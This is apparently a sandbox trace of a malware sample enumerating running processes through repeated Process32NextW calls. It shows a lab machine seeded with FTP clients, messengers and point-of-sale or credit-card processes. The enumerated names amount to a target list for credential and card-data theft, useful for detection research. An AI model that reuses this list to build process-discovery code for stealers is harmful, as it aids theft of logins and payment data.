lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0060.835] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0060.835] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0060.836] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.836] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.837] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.838] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.838] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.839] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0060.839] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.840] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.841] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0060.841] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0060.842] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0060.843] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.843] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0060.844] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0060.844] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="expensesknowpolicies.exe")) returned 1 [0060.845] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="york-singing.exe")) returned 1 [0060.846] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="techno charges.exe")) returned 1 [0060.846] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="impression.exe")) returned 1 [0060.847] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="greensboro-revealed.exe")) returned 1 [0060.848] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="range-hayes-pot.exe")) returned 1 [0060.848] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pilot-liverpool-black.exe")) returned 1 [0060.849] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gammafin.exe")) returned 1 [0060.849] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pope.exe")) returned 1 [0060.850] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operates.exe")) returned 1 [0060.851] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="dynamics.exe")) returned 1 [0060.851] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="congratulations.exe")) returned 1 [0060.852] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="employer.exe")) returned 1 [0060.853] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="paypal_drunk.exe")) returned 1 [0060.853] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="italian french participants.exe")) returned 1 [0060.854] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bruceanalytical.exe")) returned 1 [0060.854] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="firefoxguess.exe")) returned 1 [0060.855] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="legally notified.exe")) returned 1 [0060.856] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="qualities.exe")) returned 1 [0060.856] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0060.857] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0060.858] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0060.858] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0060.859] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0060.859] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0060.860] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0060.861] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0060.861] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0060.862] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0060.862] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0061.353] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0061.381] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0061.381] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0061.382] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0061.382] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0061.383] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0061.384] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0061.385] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0061.386] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0061.387] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0061.388] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0061.389] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0061.390] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0061.391] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0061.391] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0061.392] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0061.393] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0061.394] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0061.395] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0061.395] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0061.396] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0061.397] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0061.398] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0061.398] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0061.399] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0061.400] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0061.400] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0061.401] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0061.402] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0061.402] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0061.403] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0061.404] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobile optimum looked.exe")) returned 1 [0061.404] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0061.405] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0061.406] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0061.406] Process32NextW (in: hSnapshot=0x1c0, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0061.407] 